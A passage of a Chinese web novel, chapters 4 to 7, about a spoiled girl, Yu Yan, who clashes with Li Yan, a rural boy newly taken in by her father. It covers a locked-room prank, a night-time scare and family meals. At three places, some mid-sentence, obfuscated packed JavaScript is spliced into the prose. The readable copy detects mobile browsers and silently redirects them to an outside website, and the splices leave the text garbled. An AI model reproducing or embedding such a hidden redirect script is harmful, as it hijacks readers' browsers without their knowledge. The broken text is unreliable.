可他心里还真没觉得这故事有多吓人,已经是同学间广为流传的鬼故事里最温和垫底的一个,还特意抹去了不少血腥细节。 照理说,顶多到起个鸡皮疙瘩的程度,不至于把人吓得快晕过去了。 不过胆小归小,命令起人来中气却十足。 比如现在,俞言双手叉腰,下巴往旁边一抬,语气跟下圣旨一样:“你,给我收帐篷。” 李衍哪敢不遵,走到那顶湖蓝色的帐篷前蹲下,甚至刻意不问她,好在他能一心二用,吓唬人的同时余光一直留意着俞言的动作,脑海里快速回放了一遍搭建顺序,小心地将外帐取下,然后一根一根地解开绑带,到了折叠撑杆这一步,有点束手无策了,几次尝试失败后,他转过头去。 “这个怎么——” 话在看到站在门外,优哉游哉转着钥匙圈的人戛然而止。 几乎是瞬间的反应,李衍站了起来,但俞言比他更快,关门,上锁,一气呵成。 李衍走到门口,隔着一扇透明玻璃和她面对面。他拧了拧把手,面无表情地陈述:“这样不太好吧。” 见对面终于脸黑,俞言大快人心,气死人不偿命地抬起右手变成刀状,歪头在掌心快速且凶狠“剁”了好几下“排骨”。 李衍深吸口气:“对不起。” 俞言眨眨眼,挥手,微笑,洒脱走人。脚步渐渐远去,李衍独自留在原地。 那声音轻快,干脆,不带一点儿犹豫。 鬼故事确实不可怕,可怕的是会演戏的女人。 4. chpater 4 俞言再次回到家时,已是半夜两点。 和一个小时前的委屈完全相反,上楼时完全不在乎俞淮强和兰姨的房间是否传来动静。 至于被锁在会议室里的某人,一想到他生无可恋的郁闷表情,她就忍不住勾起唇角。 吓唬她? 做梦呢。 不过那地方确实已经荒废很久了,周围没有住宅,偶有野猫蹿过,保安只会在每天早上和晚上巡逻。如果她不放他出去,叫破喉咙也不会有人听见。 可又有什么关系,她“好心”地留了顶帐篷在那儿,按照兰姨对他一贫如洗的家的唏嘘描述,估计睡袋都比他的破床柔软,也算是一种享受吧。 思及此,仅存的一点儿愧疚也在瞬间荡然无存。她将浴巾甩到肩上,几乎要哼起歌来,蹦跳着钻进了浴室。 温热的水流冲散了来回奔波的疲惫和那一点点说不清道不明的烦闷情绪。等她吹干头发,把自己埋进柔软的被窝时,沉重的困意终于如山般压下。 卧室里一片漆黑,只有厚重的窗帘缝隙漏进一丝微弱得几乎可以不计的月光,像一道苍白的线,拖在深色的地板上。 俞言盯着那丝微光,不自觉地蹙起了眉。 她的睡眠一向浅,床垫的弹簧要德国进口的,枕头要原生乳胶的,新的三件套必须洗过好几遍才能铺上。 用俞淮强的原话说,和她妈一模一样。 娇气。 其实俞言对叶筠的记忆并不多,或者说是随着时间的推移不可逆转地褪了色,想到她,脑海里只剩下那张搁在书房里的合照。 那是班级参加亲子植树活动的集体合影。照片里,为了方便植树,所有家长都穿着灰扑扑的工装,头戴鸭舌帽,只有叶筠像是走错了片场格——一袭勾勒身材的亮色旗袍,鞋跟又长又细,柔顺乌黑的长发挽在脑后,面对镜头笑意盈盈。 仿佛不是来种树,而是来参加一场春日茶会。 硬生生夺去在场所有人的目光。 活动结束后,同学围过来,亮晶晶的语气里满是羡慕:“你妈妈是吃什么长大的,好漂亮啊。” 俞言挺起骄傲的胸脯,像只开屏小孔雀:“我妈妈天生好看,什么都不吃也漂亮。” 小伙伴更羡慕了:“那……我们能换个妈妈吗?” 小俞言把脑袋摇得像拨浪鼓,一把抱住妈妈的腿,大声宣布:“不——能!这是我一个人的妈妈!” 好景不长,一年后叶筠形容枯槁地躺在病床上,吹弹可破的肌肤上布满瘀斑,鼻子总是流血,就连那一头漆黑的秀发也消失不见,只剩下一顶冷冰冰的帽子。 俞言那时候还太小,并不明白那些沉甸甸的眼神意味着什么,只是每次走进那间充斥着消毒水味的病房时,都会被一种没来由的、巨大的悲伤攫住,然后控制不住地嚎啕大哭。 叶筠精神好时会把她抱在怀里哄,没力气就温柔地摸摸她的头:“宝贝不哭,妈妈很快就好了……” 小俞言会扬起满是泪痕的脸,迷茫地问:“妈妈,白血病是什么病?是不是你的血都变成白色的了?” 叶筠被她的天真浪漫逗得微微发笑。 小俞言舔了舔嘴巴,又问:“那……是像牛奶一样的颜色吗?” 叶筠吃力地抬起手,捏捏她肉乎乎的脸,问是不是饿了,然后示意护工从床头柜拿出她最爱喝的草莓牛奶。 妈妈怎么会娇气呢? 妈妈一点也不娇气。 她烧得迷迷糊糊时,是妈妈一路背着她跑到医院,汗湿了旗袍的后背。 被调皮的小男生欺负了,是妈妈牵着她的手一家一家敲门讨说法。 就连被老师批评了,转头也能在妈妈这里听到别出心裁的表扬。 而躺病床上数月,妈妈也从不唉声叹气,更没见她掉过一滴眼泪。妈妈是全天下最坚强的妈妈。 …… 俞言手臂横在眼前,黑暗中,她深深吸了一口气,又缓慢地吐出来,她翻了个身,把脸埋进柔软的枕头里蹭了蹭。 随着呼吸绵长均匀,意识开始缓缓下沉。 就在这时—— “咚、咚咚。” “咚咚咚。” 沉闷的敲击声猛地将她从睡梦中拽出来。 俞言一个惊醒鲤鱼打挺坐起来。她屏住呼吸看向声音传来的地方,四周悄然无声,只有拉得严丝合缝的窗帘在轻微波动。 是风吗? 可风怎么能发出这么重的声音。 就在疑惑之际,声音又传来了,这次不再是沉闷的敲击声,而是某种沉重的物品压在窗框上,发出的金属独有的摩擦脆响。 俞言不信鬼,更不怕鬼。 但她很快想起两年前轰动全市的荔园灭门惨案。 那个开连锁超市的老板,事业蒸蒸日上,却在一个深夜被入室行窃的小偷撞见。争执中,男主人被连捅八刀当场死亡。闻声赶来的妻子也未能幸免,甚至睡在隔壁的保姆和两个尚在襁褓中的孩子都惨遭毒手。 一夜之间,一家四口全部倒在血泊之中。 案子闹得沸沸扬扬,为了尽快抓捕凶手公安局甚至专门成立了专案组。事后,荔园全面升级了安保系统,更换了所有保安,外来人员必须经过严格审查才能入内。 这两年小区环境很安全,一个小偷小摸的案子都没有,所以那些保安叔叔们似乎又松懈了下来,开始在值班亭里打盹…… 黑暗中,心跳在耳边咚咚作响。 俞言紧捂着嘴,一点一点地从床上往下挪,双眼如同钉死在窗户上。同时,手摸索着伸向床头柜上的玻璃台灯—— 这是此时此刻她能想到的唯一武器。 荔园的业主不是有钱人就是有权人。 她家属于前者,还是有钱人中最上面那一档。 危险。 小偷应该还站在窗台上,她在屋里,她有优势。只要在进来的瞬间将台灯狠狠地砸过去,他一定会因为站不稳而掉下去。 是死是活就看造化了。 俞言捧着台灯,光着脚,冰凉的玻璃触感让人稍微镇定了一些。她踩在冰冷的地板上,一步一步,像猫一样悄无声息地逼近。 眼看越来越近,窗帘后那个模糊的黑影越来越清晰,还差三步,刺啦——— 窗户被推开了! 黑影也跟着跳进来了!!! 俞言嘀咕了自己的反应速度,她甚至刚把大臂抬起来,胳膊还没来得及发力,就感觉手腕骤然一麻。 台灯被人瞬间抽走,同时一条结实的手臂如同铁钳般从颈后绕过捂住了她的嘴。 叫声被堵嘴唇和手掌之间,由尖锐变成模糊不清的呜咽。 她的双臂也被人箍住,无法动弹,极度的惊恐让她拼命挣扎,低头用牙齿狠狠咬向那只捂住她嘴的手掌心。 一种前所未有的绝望铺天盖地卷来。 “嘶……是我。”李衍疼得直抽气,也依然压低了声音。 俞言静滞了。 李衍咬牙,他原本想悄无声息地从俞言房间路过,不想打扰俞叔叔和兰姨睡觉,加上被发现后不好解释,毕竟男女有别,他也不擅长撒谎,要是一五一十地告知前因后果,俞叔叔十有八九会批评俞言。 到时候俞言会更加厌恶他,以后的日子可想而知。 他说完,明显感受到掌心上的嘴巴松了一下,然而下一秒,咬得更加用力。 “……” 李衍痛得直甩手,可咬在手上的嘴巴像拧了螺丝拆不下来的铁钳,怎么都拜托不掉,她甚至两只手一起攥住他的手腕,固定位置往死里咬。 安静的卧室里,忍痛的闷哼声一道接一道。 不知过了多久,大概是李衍痛麻木了,俞言也咬累了。她松开嘴,气喘吁吁地抬头质问:“你个坏家伙,你想报复我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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李衍似乎是后知后觉,环顾半圈周围没有止血的东西后,手随意地往裤腿上一揩,看得俞言两眼发黑。 她上前一步,近距离看发现不止是掌心在流血,手臂也全是长条的抓痕。 大概是捂住她嘴的那瞬间挠出来的,这人可真能忍。 “你不知道还手吗?”俞言拧着眉头问。 李衍反问:“我敢吗?” 俞言:“怂货。” 李衍:“你最勇敢。” 俞言:“……” 俞言闭了闭眼睛,还是头一次被人气到无话可说,可能也是因为有一点点,真的只有一点点的愧疚吧。 “你等等。”她左右张望,低声咕哝:“药箱放哪里来着,上次打羽毛球摔跤是兰姨给我处理的,好像是在——” “不用了。”李衍打断她,同时又将渗出的血往裤子上擦,他往窗前走,俯身往外探了两眼,重新直起身体的时候,左手已经多了一个浅咖色的包。 是俞言的登山包,装得鼓囊囊的,拉链上挂了一个小玩偶,水杯完好地插在右侧网兜。 和俞言出门前的收纳一模一样。 “水杯里的水给你倒了,绳子断了一根,撑杆不知道收得对不对,你最好重新整理一下。”他说完滞了一滞,想起件很重要的事:“不会让我赔钱吧?” 俞言无语了。 李衍明白意思,点点头,从她身旁掠过。 “喂……”俞言叫他。 李衍脚没停。 “不处理伤口会越来越烂的。”俞言莫名其妙觉得憋屈,像是无端被人压了一头,她气哼哼地道:“到时候别赖我头上。” 李衍已经走到门口了,他背身沉默了好一会儿,扭过头对上她焦灼的眼睛,平静地道:“放心,烂成个骷髅也和你没关系。” 5. chapter 5 俞言做了一宿的梦,断断续续,光怪陆离。唯一清晰的画面,是她睡午觉时被外面的噪音吵醒。她怒气冲冲跳下床,唰得撩开窗帘——竟是李衍! 好黑好冷漠的一张脸。 他悬空挂在窗外,直勾勾盯着她,手起刀落,凶狠无比。 醒来后,俞言缓了很久,破天荒地在大清早下了楼。她揉着惺忪睡眼,打着哈欠走进饭厅,把正边吃早餐边看报纸的俞淮强吓了一大跳。 他抵了抵老花镜,难以置信:“回来了?” 俞言没应声,闭着眼径直往厨房走,全然无视的态度,明显是不想认这个爹。 俞淮强放下报纸,笑呵呵地又问:“什么时候回来的?” 俞言这才睁开眼,缓缓转过头。视线掠过父亲,直直地、带着尖锐的敌意落在默不作声低头喝粥的李衍身上。 看来不是梦,是预告:今后的每一天,她都要面对这样一张脸。 想到这儿,她毫不掩饰地蹙紧眉头。 饭厅气氛一瞬间绷紧。俞淮强警铃大作,侧身挡住了部分她快要把李衍盯穿的视线:“没睡好吧?没睡好就再回去睡,爸爸让兰姨把早饭送你房间去。” “不吃,”俞言冷冷道,“我下来喝水。” “也让兰姨送。” ? 俞言眉头蹙得更紧,转头将目光投向这个护别人犊子的亲爹。 似乎也察觉自己意图过于明显,俞淮强干笑了两声。整个过程中,李衍始终像个局外人,低头安静喝粥,偶尔夹两筷子咸菜。 矛盾怎么能远离风暴中心? 俞言改变了回房的念头,一把拉开椅子,径直坐下。 俞淮强见状也坐正了身体,原以为俞言起码要在周家待到开学,还得他好话说尽、连哄带骗才肯回来。 眼下这情形,倒没有预想中那么愤怒,只是小孩子闹别扭、认生罢了。 两个同龄人共住一屋,早晚要碰面的。 他大手一挥:“来,我给你介绍一下,这是李衍,比你大半岁。木子李,衍嘛……就是——” 俞淮强卡住了,“衍”字确实不常用。 俞言指尖在桌面上不轻不重地敲了一下:“我知道。” 虽然姿势懒散,语气平淡,怎么看都不算友好,但好歹接了话,俞淮强脸上刚堆起笑,下一秒却听见女儿补充道: “敷衍的衍,衍生物的衍,不是什么好字。” 俞淮强:“……” 他脸色严肃了些:“好好说话。” 俞言瞥他一眼,看墙。 这时,对面的男生终于舍得把脸从碗里抬起来,完全跳过了关于自己名字的话题,微笑着向她打招呼: “俞言,你好。” 字正腔圆,语气庄重,神情里带了些许局促,却又透出明显的友好。 搞得跟两人第一次见面似的。 装什么装,俞言用鼻子出气。 “你哼什么,人家都主动给你打招呼了。”俞淮强啧了又啧,催促俞言赶紧搭腔,不要不懂礼貌。 在父亲的逼视下,俞言落回视线,点点头:“我不好。” 俞淮强:“……” 他一个头十个大,正酝酿着要怎么教育女儿,门铃忽然响了。没等忙碌的兰姨从厨房出来,李衍已经率先起身去开门。 见机行事,手脚利落。不仅会装,还会赚表现。 俞言当着俞淮强的面,毫不客气地翻了个白眼。 只是白眼没翻完,就被进来的人一顿输出: “俞言,我真服了你了!你是没长嘴吗?走不知道说一声?把我家当公共厕所啊,想来就来想走就——” 说到这儿,周既明突然察觉气氛有点不对,倒不是因为俞叔叔在场,而是他斜后方站了个人。 男的,陌生的,同龄人。 那什么玩意? 李什么来着? “你好,我叫李衍。” 男生率先开口。 周既明顿时有点尴尬,他可以在俞叔叔面前大声嚷嚷俞言的不是,可要是敢在外人面前让她难堪,等待他的只有一个下场:死。 如果这个“外人”恰好是李衍的话,恐怕死后还得被鞭尸。 “呃……我叫周既明,俞言的——” 果然,话没说完,俞言就黑着脸打断他:“周既明,上楼,陪我打游戏。” 四楼,卧室。 俞言一进门就发号施令:“你不许和他说话。” 周既明摸出手机给家里报平安:“凶什么,我还生气呢。” “你气什么?” “你说我气什么。” 一大早被吵架声弄醒,他走出卧室往下一看,保姆唯唯诺诺站在一旁,周雄安和秦可然吵得不可开交。 他听了好半晌才弄明白,原来是俞言不见了。 阿姨推脱说她睡得早什么都不知道,秦可然话里话外暗示俞言出去鬼混,周雄安火冒三丈逼她去找。听起来还跟周超越摔下楼梯的事有关,因为周雄安气急败坏吼了句:“你就不该说那些话!” 两口子谁都不好意思上俞家找人,又不得不确认俞言是否安全,这差事自然落到了周既明头上。 找就找吧,临走前还因为撒了泡尿,被当成出气筒骂了几句。 圣人来了都得冒火。 俞言不说话了,整个人往床上一趴,像是自知理亏,伸手从床头柜抽屉摸了包饼干,往后一扔。 周既明撕开就吃。 她就这点好,永远清楚谁才是那个倒霉蛋。 过了安静无比的两分钟,周既明“欸”一声:“发什么呆?” 俞言盘腿坐起来:“我给你讲个鬼故事。” 周既明一愣:“你被我后妈气傻了?” “你才弱智。” 俞言蹙眉。 周既明狐疑:“早上你家不是吃的馒头稀饭吗,没见你碗里有屎啊。” “我还不如吃屎!” 一想到楼下坐着的那个人,俞言就气不打一处来。 周既明比了个大拇指,轻手轻脚走到门边,贴耳听了几秒,悄无声息地拉开门缝往外瞄。 十几秒后,他关上门,带回情报。 “还在楼下,和你爸有说有笑的。” 俞言咔嚓一声咬碎饼干:“说什么了?” 周既明耸肩:“没听清。” “那你怎么知道他在笑?” “他没笑,你爸在笑。” 俞言听完脸垮了下去。 八岁以前,她一直以为她爸天生爱笑。眼睛总是眯成一条缝,两道浓眉软软地弯着,像美术课上画的太阳公公,温暖普照大地。 那时她想,她好幸福。有一个超级漂亮的妈妈,一个好脾气、从不发火的爸爸,直到某一天她突发奇想,迫不及待要把手工课上做的风车向爸爸炫耀,缠着接她放学的兰姨带她去俞淮强工作的地方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326105|183227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那时公司刚起步,俞淮强没什么钱,租不起写字楼,办公室设在老城区一栋居民楼里。 那不算纯粹的居民楼:底层是卖袜子、泳衣、箱包的百货城,二楼是一家当时很红火的大酒店。人来人往,鱼龙混杂,出过好几起小孩被拐的案子,所以俞淮强从来不准别人带俞言去公司。 公司在三楼,紧挨着一个叫“小天鹅”的歌舞厅。她被兰姨紧紧牵着,蹦蹦跳跳往里走。还没到门口,就被一声怒吼吓得一哆嗦。 “干得了就干,干不了就给我滚!” 像变了个人似的,爸爸的眉毛不再温和地弯着,眼睛瞪得老大,目光凶狠,像一座随时会爆发的火山。 她躲在兰姨身后,只露出半只眼睛,光从通风口透进来,空气中漂浮着飞尘。她害怕地看着俞淮强厉声训斥手下的员工。 狭小的格子间里一片死寂,那些叔叔阿姨低着头、抿着嘴,大气不敢出,仿佛怕极了她那个和蔼可亲的爸爸。而站在一旁的兰姨,脸上没有一丝惊讶。 她忽然明白,原来俞淮强不是脾气好,只是把所剩无几的耐心,全都留给了她和妈妈。 …… 回忆间,周既明又站了起来。 这回他没再轻手轻脚像做贼,俞言皱眉:“你去哪儿?” 周既明一脸坦然:“给你做饭。” 俞言:“?” 周既明:“你不是喜欢吃屎吗。” 反应过来的俞言抄起枕头就砸,周既明眼疾手快,“砰”地关上门溜了。从初中起,俞言就不准他用她卧室的卫生间,每次他都得跑到四楼阳光房旁边的公卫去。 周既明一走,俞言越想越恶心,越想越气,把手里的枕头换成硬邦邦的米粒玩偶,准备等他回来给他来个“沉重一击”。 十几分钟后,脚步声由远及近地传来。 俞言扭了扭脖子,活动手腕,瞄准门缝,蓄势待发。 门“嘎吱”一声被推开—— 俞言胳膊一抡,玩偶砸向门口那人的脸。 非常精准。 只是这张脸……有点不太对。 反应速度也是周既明的好几倍。 他胳膊挡在脸前,反手接住了玩偶,声音平平无奇:“俞叔叔让我叫你们下去吃午饭。” 俞言看着他手里那只被掐住脖子的玩偶小狗,有一丝微妙的尴尬,但很快又被“有说有笑”勾起的怒火压了下去。 她冷声回:“不吃。” 李衍转身朝楼下喊:“她说她不吃。” 俞言惊了,瞪他。 楼下立刻传来俞淮强洪亮的嗓音:“让她下来!有她最爱的烤鳗鱼!” 俞言硬邦邦顶回去:“不爱。” 李衍头也不回,继续传话:“她说她不爱。” “……” 这人是个复读机吗? 俞淮强还不放弃:“盐焗花螺呢?” 这次李衍转过头,用眼神询问。 俞言看着他,没回应。 李衍抬下巴:“吃吗?” 俞言抱臂盯着他,一声不吭,摆明了“我就不说,看你怎么传”的挑衅姿态。 李衍静静站在门口,没再追问。两秒后,他忽然侧身,朝楼下提高声音:“俞叔叔——她不跟我说话了——” 俞言手臂垂下,嘴巴微微张开。 她简直难以置信,传话就传话,怎么还带着情绪当面告黑状?? 6. chapre 6 “有必要吗。” 俞言看他的眼神像在看什么怪物。 李衍把手里那只硬邦邦的玩偶递过去:“这个打人太疼,换一个吧。” 俞言别开脸,没接。 周既明老远就看见堵在门口的李衍,生怕这两人一言不合动起手来,加快脚步赶过去。离他们只剩一米多远时,下意识抬眼一瞥—— 好家伙,他的身高已经在同龄人里出类拔萃了,眼前这人居然比他还高出半个头。 再往下扫,短袖短裤,露出的肌肉线条修长而紧实,那是长年运动才能雕刻出的痕迹。 “嘿兄弟,你是不是会打篮球?”周既明打好的腹稿全忘了。 李衍闻声转过来。 男人看男人还是有几分比较的心思,周既明正面扫描完李衍,脑子里只有一个声音: 哪儿丑了? 到底哪儿丑了? 手长脚长,肩宽腰窄,一看就很会打篮球。 因为秦可然提前带着游学的周超越回来,周既明在家多待一秒都嫌闷。除了打游戏,也就篮球能让他提起点劲。 小区里倒是有标准球场,可惜缺个能一起打的,总不能在这大热天硬拉着俞言去单挑吧? 那就不叫打球了,是俞言拿球揍他。 李衍说:“不经常打。” “会就行。”周既明眼睛一亮。 被晾在一旁的俞言冷冷开口:“我打爆你的头。” 李衍没接话,周既明赶紧扭过头冲俞言使了个眼色。她却只当没看见,不高兴地哼了一声。 周既明转回来,啧啧感叹:“真没想到啊。” 李衍:“什么?” “你们学校居然还有篮球场!”他张大嘴巴。 浮夸,但够意思。 俞言反手往床沿一撑,晃着腿,好整以暇地看周既明表演。 李衍面不改色:“没有,不像你们有标准运动场,我们都在地里随便打打。” “地里?”周既明这回真愣住了,“地里怎么打?” 李衍踮起脚,抬手,凭空做了一个投篮的动作。 “这样。” 动作非常标准,周既明更疑惑了:“球呢?不怕弄脏吗?” “怕什么,”李衍嘴角微扬,“地里要多少有多少。” 周既明眨了眨眼睛,大脑有些过载,等他回过神来,李衍已经转身出去了。 他望着那人的背影,双手交叉,食指抵在鼻梁上,微微眯起眼睛: “此人不简单。” 俞言仰头问:“哪里不简单?” 周既明放下手,没好气地瞥她一眼:“傻啊你,没听出来他在逗我玩吗?” “……废物。”俞言躺回床上,懒得再理他。 周既明溜达到床边,一脸幸灾乐祸 “你完蛋了,你爸很喜欢那谁。” 俞言有气无力地盯着天花板:“你又不是不知道我爸,大山里走出来的寒门贵子,靠自己在大城市里闯出了一片天地,有事没事忆苦思甜,乡下来的就喜欢乡下来的,估计这辈子最遗憾的事就是我妈没生个像他一样的儿子。” 说完,她干干地冷笑了声。 周既明气死人不偿命:“还真别说,他跟你爸挺像的。” 俞言歪头:“你跟猴子也长一个样。” 周既明压根没理她,自顾自地道:“眼睛特别像,单眼皮还那么大。知道我小时候为什么不爱来你家吗?就怕你爸看我。那眼神,黝黑黝黑泛着光,像专门抓小孩吃的老鹰,比我爸揍我的时候还吓人。” 俞言翻了个身背对他,纯当周既明故意搞心态。 说得好像她没长眼睛似的。李衍又瘦又高,一张脸棱角分明,哪像俞淮强——都快赶上校门口阿姨现擀的、加了三个鸡蛋的豪华灌饼了,又圆又大。 不过话说回来,年轻时的俞淮强成绩好、原则强、浑身韧劲,更重要的是长了张独具一格的硬朗帅脸。不然也不可能在叶筠一大堆追求者里脱颖而出,成功抱得美人归。 有一回叶筠和俞淮强吵架,叶筠被气哭,无条件站在妈妈这边的俞言义愤填膺地质问她为什么不嫁给开飞机的李叔叔或者在电视里当大明星的程叔叔。 叶筠抽抽噎噎:“你爸和他们不一样。” 她问哪里不一样,叶筠没答出个所以然来,只是因为思考这个问题而回忆起某些画面莫名其妙其妙破涕为笑,然后在她狐疑不解地注视下,拍拍她的脑袋。 “小孩不该问的别问,你爸……是个有魅力的人。” 岁月不饶人啊,年过五十的俞淮强额间镌满皱眉,头发稀疏,啤酒肚大得像塞了个西瓜,只是偶尔精气神好的时候,能从眉宇间看出昔日帅哥的底子。 “万一真是怎么办?!”想到这,俞言猛地翻身坐起来。 周既明这个人虽然成天吊儿郎当被他爸视为一坨扶不上墙的烂泥,但为人耿直,有一说一,这种时候不会瞎掰。 周既明呵呵一笑:“喜当妹呗。” 俞言:“……” 周既明想了想,建议:“要不你去做个DNA?医科大司法鉴定中心离这不远。偷几根你爸和他的头发,花点钱,几天就能出结果,也省得在这猜。反正你爸是绝对不会承认的。”说完还不忘叮嘱:“注意别让头发被污染,不然白忙活。” 俞言眯起眼:“你是不是偷偷鉴定过周超越?” 周既明摆手:“没必要,我弟比我还像我爸。” 不过周雄安的确鉴定过,第一次样本污染白忙活一场,第二次送样对了,具体报告周既明偷进书房没翻到,但没多久,周雄安就把秦可然娶回了家,他被迫多了一个后妈和一个弟弟。鉴定结果可想而知。 俞言点评:“那可能你才不是你爸亲生的。” 周既明沉默了,俞言也不再打趣。 空调呼呼吹着冷风。这种事没有开玩笑的意义,同病相怜的两人对视一眼,不约而同叹了口长气。 - 俞淮强不喜欢外人来家里,会客基本在公司,俞家亲戚也极少,即使饭厅的圆桌并不大,也鲜少能坐满人。 今天却破天荒地凑齐一桌,围成均匀的五边形。 俞言坐在兰姨和周既明中间,斜前方是俞淮强,而讨厌的李衍恰好在她正对面。 她原本是不想吃饭的,奈何周既明这个叛徒是个饿死鬼。要是只剩她一个人待在房间,不仅显得刻意,更有种不战而败的懦弱。 五个人里最从容的当然是俞淮强。毕竟是大老板,调动气氛的技术一流。先和周既明聊几句家常,又和李衍唠唠近况时不时问上俞言一句,最后用开学的话题把三个年轻人串在了一起。 俞淮强是这么开场的:“马上开学了,你俩有空带李衍去学校转转,认认教室,熟悉一下环境。” 周既明笑着应好。 俞言一点面子不给:“逛不了,脚疼。” 俞淮强看着她那张臭脸:“再多生点闷气就不疼了。” 俞言:“……” 她抬起头,嘴撅得老高。 周既明适时出来搅混水:“李衍读几班啊?” 好问题。 俞淮强放下筷子,对身旁的李衍解释:“敏行是走班制,按考试成绩分班。1班最好,17班最差。不过哪怕最差的班,教学资源也比你们镇上的火箭班好。” 说着,他瞥了一眼对面的俞言和周既明:“他俩一个在1班,一个在2班。至于你——” “1班压力很大的。”俞言及时打断。 俞淮强哪会不知道女儿那点小心思:“李衍成绩很好,常年全校第一,不存在跟不上。” 俞言不以为然:“上一届1班有个学长,原来还是他们县第一名呢,转来之后回回考倒数。接受不了落差,跳楼没成,变神经病了。” 俞淮强一怔,为难起来。 确实有这么一回事,敏行是西南地区最好的私立高中,为了不影响声誉,校长费了好大的功夫才把这事从媒体那里压了下去。 但他转念一想,李衍这孩子从小什么苦都吃过,不是那么容易被挫折压垮的人。 俞淮强哎一声:“个例,那孩子抗压能力太差。” 果不其然,俞言太了解她爸了。 他肯定想安排李衍和她同班,既享受最好的师资,又能“促进感情”,一家人和和美美——学周既明他爸那套?想得美! “2班没比1班差多少,你可以和周既明做同学,一进校就有熟人,一起在地里打西瓜多好啊。” 这是饭桌上俞言第一次正眼瞧李衍。 话音刚落,周既明就开始挤眉弄眼,俞淮强一脸莫名其妙——什么地里西瓜的,胡言乱语。 他咳嗽了一声,摆出长辈的严肃姿态:“李衍,你想读哪个班?不要说都可以,叔叔尊重你的意见。” 李衍抬起头,平静地回应:“我怕死,不敢跳。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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目睹这和谐抒情一幕的俞言:“???” 她不甘心,又在桌下狠狠踹了两脚。李衍却只将手臂撑在桌上,纹丝不动。 没踢到吗?不可能啊!俞言狐疑,勾起脚尖卯足劲儿,准备再试一次。 “嘶——” 俞淮强的小骨猝不及防传来一阵刺痛,他低头一看,肇事者正是他的宝贝女儿。 再好的脾气也压不住火了。 “站没站相,坐没坐相,不想吃就回卧室去!” “……”俞言低下头,小声嘟囔:“脚抽筋了。” 周既明也赶紧低头,装傻他最在行。 要是到这还看不出异样,俞淮强这几十年也算白活了。他目光扫过全场,最后定格在李衍身上。 “她刚才是不是踢你了?” 李衍沉默了一会儿,像是在挣扎,最终在俞淮强的压迫的视线下道:“叔叔,我不痛。” 俞言:“?” 俞淮强火气噌地又上来了:“踢了几下!?” 周既明被吼得一抖,兰姨站也不是坐也不是,俞言最煎熬,屏住呼吸,心脏提到嗓子眼。 所有目光都集中在李衍身上,等待他的回答。 他说:“一下。” 俞言暂时松了口气,觉得还有转圜余地。 俞淮强追问:“确定?“ 李衍点头:“您说‘宁做凤尾不做鸡头‘的时候。” 俞淮强沉下的脸色缓和了些。李衍老实,不会撒谎,他也了解俞言——要真是发脾气故意踹人,绝不可能只一下,估计是不小心碰到的。 他语重心长地对女儿说:“让你多吃饭多吃肉,缺钙才会抽筋,我现在就给秘书电话挂明天的号,让兰姨带你上医院检查。” 俞言委屈巴巴地抬起头:“你带我去嘛。” “爸爸明天有事,走不开。” 俞言一双小狗眼湿漉漉地望着他:“我怕……我就要你陪我去。” 俞淮强有一瞬的愣怔。 俞言从小到大胆子大破天,打针、去医院从来不怵,可自从叶筠病逝后,她就像变了个人,对医院,尤其是住院部,格外抗拒,让她从医院门口路过简直像要她的命。 看着女儿这副可怜模样,他哪还顾得上生气,只剩下满满的心疼和愧疚。 “好好好,爸爸不出差了,明天陪你去。有没有什么想要的?检查完爸爸带你去商场转转。” 周既明默默放下碗,看看旁边若无其事继续吃饭的李衍,又看看这边把老父亲哄得眼眶发红、主动爆金币的俞言。 他在桌底下比了个大拇指。 不愧成了一家人,一个比一个会演。 牛逼。 7.chapter 7 翌日一早,俞淮强领着俞言上医院,同行的还有李衍。 俞言落在后面,一脸不情愿地扯了扯兰姨的衣角,压低声音:“他怎么也跟来了?” 兰姨“哎”了一声,同样小声回道:“这孩子昨晚不知怎么了,上吐下泻的,难受也不吭声,还是我起夜时撞见了才发现的。” 俞言一听,嘴角下意识地弯了一下。 先前笼罩在脸上的那点不情愿的阴霾,似乎也被这个意外的消息冲淡了几分。 兰姨莫名其妙看过来。 俞言迅速压下唇角,一本正经地分析:“水土不服吧。” 兰姨又叹了口气,“你爸还问我是不是昨天的菜不新鲜,怎么可能,起那么大早去菜市场,不就为买最新鲜的吗。” 语气里透着委屈,“我都是比了又比,精挑细选的。要是菜有问题,大家现在都该上医院了。” 俞言点头,表明立场:“别理我爸,有病。” 兰姨立马板起脸:“可不许这么讲!” 俞言:“……“ 她朝前方李衍的背影耸了耸肩,“我是说他。他不是上吐下泻么,不是有病是什么?” 这话乍一听不对劲儿,再细琢磨还是像骂人,不过兰姨思来想去,好像也无从反驳,无奈摇头,俩人继续往前走。 司机张叔和兰姨一样,自叶筠和俞淮强结婚后没多久就在俞家工作,可以说是看着俞言出生、长大的。 很多时候,俞言和他们待在一起的时间比和俞淮强还多,关系更像是朋友。 兰姨温柔,张叔幽默,每次在车上,俞言总是叽叽喳喳地分享趣事当开心果。 但今天不知道是因为检查没吃早饭没力气,还是车上多了个人,她只把下巴搁在前座椅背上,一点说话的欲望都没有。 新换的保姆车是三排六座的,俞淮强和李衍坐中间,俞言和兰姨坐后面。 车安静地行驶在路上,快到医院时,俞淮强忽然转过头对兰姨道:“麻烦你带李衍检查,有事给我打电话。” 俞言突地睁开眼,坐直身体:“我要和兰姨一起。” 俞淮强斟酌了下:“也行,兰姨陪你,我带李衍。“ 俞言胸口开始闷气,她视线落在俞淮强的侧脸上,话却是冲着另外一个后脑勺去的。 “他又不是没长脚,不能自己去吗?” 